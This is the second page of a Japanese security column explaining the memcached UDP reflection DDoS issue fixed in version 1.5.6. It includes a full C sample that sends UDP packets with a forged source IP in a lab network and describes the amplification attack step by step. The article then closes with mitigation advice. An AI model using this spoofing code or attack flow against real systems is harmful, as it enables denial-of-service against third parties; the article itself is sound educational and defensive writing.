memcachedをDDoS攻撃に使われないための基本的な心掛け:OSS脆弱性ウォッチ(3)(2/2 ページ)
連載「OSS脆弱性ウォッチ」では、さまざまなオープンソースソフトウェアの脆弱性に関する情報を取り上げ、解説していく。今回は、memcachedを用いたDDos攻撃について詳しく見ていきます。
【2】UDPの特性を生かしたIPスプーフィングを試す
前節の「認証がない」に加えて、memcachedは、脆弱性のあるバージョン(1.5.5)までは、デフォルトで11211/UDP、11211/TCPでListenしています。
ここで、UDPの特性として「3wayハンドシェイクがない」ことに気が付くと思います。これを利用して、送信元を偽装してパケットを送ることができます。
下記は、送信元を偽装したパケットを送るサンプルプログラムです。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <netinet/udp.h> #define MAX_PAC_SIZE 4096 void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15; iph->protocol = IPPROTO_UDP; iph->saddr = inet_addr("172.16.148.146"); iph->daddr = inet_addr("172.16.148.145"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5000); udph->dest = htons(12345); udph->check = 0; udph->len=htons(sizeof(struct udphdr) + 15); } int main(int argc, char *argv[ ]) { struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); char datagram[MAX_PAC_SIZE]; addr.sin_addr.s_addr=inet_addr("172.16.148.145"); struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); memset(datagram, 0, MAX_PAC_SIZE); setup_ip_header(iph); setup_udp_header(udph); int boolean = 1; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (const char *)&boolean, sizeof (boolean)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } fprintf(stdout, "Send data...\n"); sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &addr, sizeof(addr)); return 0; }
このプログラムは、あくまでも送信元偽装のサンプルで作ったものなので、きちんと作り込んでいません。プログラムを見て分かる通り、下記でUDPパケットを送るプログラムになっています。
- 送信元:172.16.148.146(偽装)/5000
- 宛先:172.16.148.145/12345
このプログラムをコンパイルして、ホスト172.16.148.1上でsudoなどを用いてroot権限で実行すると、送信元を偽装して172.16.148.145に送ってくれます。172.16.148.145でキャプチャーしたパケットをtcpdumpで見ると、送信元が「172.16.148.146」に偽装できています(図5)。
ここまで述べた【1】【2】の条件がそろってしまったために起きたのが、今回の「memcachedを踏み台にしたDoSの問題」ということになります(図6)。
図6の1.では、攻撃者(今回の例では、172.16.148.1)が、問題のあるバージョンのmemcachedサーバ(今回の例では172.16.148.145)に、送信元をターゲットのサーバ(今回の例では172.16.148.146)に偽装して、データをGetで要求します(それ以前に大きいデータをSetしておき、その値をGetすることも考えられます)。
図6の2.では、memcachedのサーバが、ターゲットのサーバに対してデータを送ります。
図6の状況でPoCを動かした際のパケットキャプチャーが図7です。
memcachedのサーバ(172.16.148.145)からターゲット(172.16.148.146)にmemcachedプロトコルでの通信が大量に発生しているのが分かります。
実際には、問題のあるmemcached(UDP上でListenしたまま)がインターネット上で多数公開されていたため、複数のサーバから一気にターゲットのサーバにデータを送り付けてDDoS攻撃となったようです。
脆弱性の修正
今回の脆弱性の修正は、もっとも単純でかつ効果的なもので、「memcachedがデフォルトではUDPでListenしない」というものです。memcached 1.5.6で脆弱性が修正されています。詳しい情報は、お使いのディストリビューションの情報を確認した方がいいと思います。
今回の問題の教訓
今回の問題は「memcachedのUDPがインターネット上からアクセスできるサーバが幾つもあった」ということに起因しています。そのため、昔からよく言われている下記2つの基本的な心掛けが大切になってきます。
- 不必要なサービスは動作させない
- どうしても動作させる場合には、アクセスできるIPを制限する
皆さまも、インターネット上にサーバを公開する際には、基本的な心掛けを忘れないようにしましょう。
筆者紹介
面和毅
略歴:OSSのセキュリティ専門家として20年近くの経験があり、主にOS系のセキュリティに関しての執筆や講演を行う。大手ベンダーや外資系、ユーザー企業などでさまざまな立場を経験。2015年からサイオステクノロジーのOSS/セキュリティエバンジェリストとして活躍し、同社でSIOSセキュリティブログを連載中。
CISSP:#366942
近著:『Linuxセキュリティ標準教科書』(LPI-Japan)」
Copyright © ITmedia, Inc. All Rights Reserved.
関連記事
- Cassandra、Redis、memcachedに潜む脆弱性
ここからは、MongoDB以外のNoSQLを使うアプリケーションのセキュリティについて簡単に説明します。 - pgmemcacheからmemcachedのデータを操作する
前編では、memcachedそのものの仕組み・導入方法、PostgreSQLとの連携手順を紹介しました。後編の今回は、いよいよpgmemcacheを使ったmemcached操作を実践していきます。memcachedおよびpgmemcacheについては前編を参照ください。以降の解説は前編で設定した環境を前提にしています。 - イネーブラ型NoSQLのまとめ(Memcached、Redis、Scalaris、Tokyo Cabinet/Tyrant編)
「あぁ、知ってるよ。アレね」と言っておきたいNoSQLプロダクトの特徴をざっと紹介。今回はオンメモリもオンディスクもひっくるめて「イネーブラ型」のメジャーどころを紹介していく。